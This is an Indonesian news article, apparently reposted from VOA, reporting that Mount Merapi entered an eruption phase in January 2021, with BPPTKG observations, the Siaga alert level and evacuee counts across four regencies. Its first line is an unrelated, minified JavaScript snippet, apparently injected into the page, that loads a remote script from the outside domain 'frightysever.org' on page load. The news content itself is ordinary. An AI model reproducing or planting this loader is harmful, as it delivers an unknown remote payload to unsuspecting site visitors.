(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Gunung Merapi Masuki Fase Erupsi 2021


Kepala Balai Penyelidikan dan Pengembangan Teknologi Kebencanaan Geologi (BPPTKG), Hanik Humaida mengatakan Gunung Merapi di Yogyakarta sudah memasuki fase erupsi pada 2021.

Fase awal erupsi itu, kata Hanik, ditandai dengan munculnya tumpukan material di puncak Gunung Merapi, Yogyakarta. Pada malam hari, tumpukan material itu terlihat jelas berwarna merah menyala di puncak. Itu adalah lava pijar atau titik api diam, sebagai tanda perjalanan magma dari perut bumi selama beberapa bulan terakhir telah mencapai puncak.

Kepala BPPTKG Hanik Humaida. (Foto: VOA/Nurhadi)

Indikasi awal dari api diam itu, menurutnya, pertama kali terlihat pada malam pergantian tahun, 31 Desember pada pukul 21.00 WIB. Titik api diam itu terlihat dari Pos Kaliurang dan thermal cam.

“Dari satelit menginformasikan adanya gundukan yang diduga itu adalah material baru. Ada juga pegangkatan di kawah yang mengakibatkan sebagian material longsor ke Selatan-Barat Daya,” ujar Hanik.

Apa yang terlihat saat ini adalah kelanjutan proses panjang bertahun lamanya.

Hanik menjelaskan, pasca erupsi besar 2010, dapur magma Merapi kembali menjalani proses pengisian pada 2012-2014. Setelah penuh, magma mulai mengalir menuju ke puncak. Karena desakan dari bawah, Merapi mengalami beberapa letusan kecil sejak akhir 2018 dan sepanjang 2019.

Gunung Merapi difoto dari kawasan Pakem, Yogyakarta. (Foto: VOA/Nurhadi Sucahyo)

Tahap ini dinilai selesai pada 21 Juni 2020, di mana setelah itu Merapi mengalami peningkatan aktivitas kegempaan dan penggembungan puncak atau deformasi.Hanik mencatat, pada 20 Oktober 2020 Merapi mulai mengalami perubahan signifikan. Seluruh proses itu menciptakan fenomena pijaran atau api diam pada 31 Desember 2020 lalu.

BPPTKG menyatakan pada Selasa (5/1) pukul 18.00 – 24.00, Merapi mengalami 23 kali gempa, sedangkan guguran teramati empat kali dan teramati baik secara visual mapun suaranya. Sedangkan pada Rabu (6/1) tengah malam hingga pagi hari, ada 24 gempa dan dua kali guguran lava pijar.

Kepala Seksi Gunung Merapi, BPPTKG, Agus Budi Santoso meminta masyarakat untuk tetap siaga.

Kepala Seksi Merapi BPPTKG, Agus Budi Santoso. (Foto: VOA/Nurhadi)

“Saat ini Merapi sudah erupsi, namun demikian kalau yang dulu keluar api diam, kuba lava itu malah justru kendor potensi bahayanya. Cuma ini karena data-data hasil pengamatan masih tinggi, sehingga kesimpulannya bahwa masyarakat diminta tetap siaga,” kata Agus Budi.

BPPTKG sendiri belum akan mengubah status Merapi ke tingkat paling atas, yaitu Awas. Gunung Merapi di perbatasan DIY dan Jawa Tengah berstatus level III atau Siaga Status sejak 5 November 2020.

Status sebuah gunung api ditentukan bukan menurut kondisinya, tetapi disesuaikan dengan ancaman bagi masyarakat.

Pengungsian

Sementara itu, Pusat Pengendalian Operasi (Pusdalops) BNPB mencatat hingga Senin (4/1) ada 1.115 pengungsi yang tersebar di tujuh pos pengungsian. Di Kabupaten Sleman, Daerah Istimewa Yogyakarta (DIY), ada 324 pengungsi terkonsentrasi di 1 titik. Sedangkan di Jawa Tengah, pengungsi tersebar di Kabupaten Klaten 297 jiwa, Kabupaten Magelang 279 jiwa dan dan Kabupaten Boyolali 215 jiwa.

“BNPB terus memonitor penanganan darurat di keempat kabupaten yang berada di DIY dan Provinsi Jawa Tengah ini,” kata Kepala Pusat Data, Informasi dan Komunikasi Kebencanaan BNPB, Dr. Raditya Jati.

Selain itu, Raditya mengatakan BNPB juga membantu Pemkab terdampak dengan bantuan logistik, seperti masker, lampu portabel, penyanitasi tangan (hand-sanitizer), alat pemeriksaan tes rapid antigen, dan dana siap pakai.

Pemerintah telah mengidentifikasi wilayah-wilayah berbahaya di dua provinsi dan meminta daerah bersiap. Pengungsian juga telah dilakukan bagi kelompok rentan seperti anak-anak, ibu hamil dan orang tua. Dalam kondisi pandemi, pos pengungsian di desain untuk memenuhi protokol kesehatan. [ns/ft]

Editor : VOA


Al Ghifari

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

3 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

4 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

4 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

4 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

4 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

4 jam ago

This website uses cookies.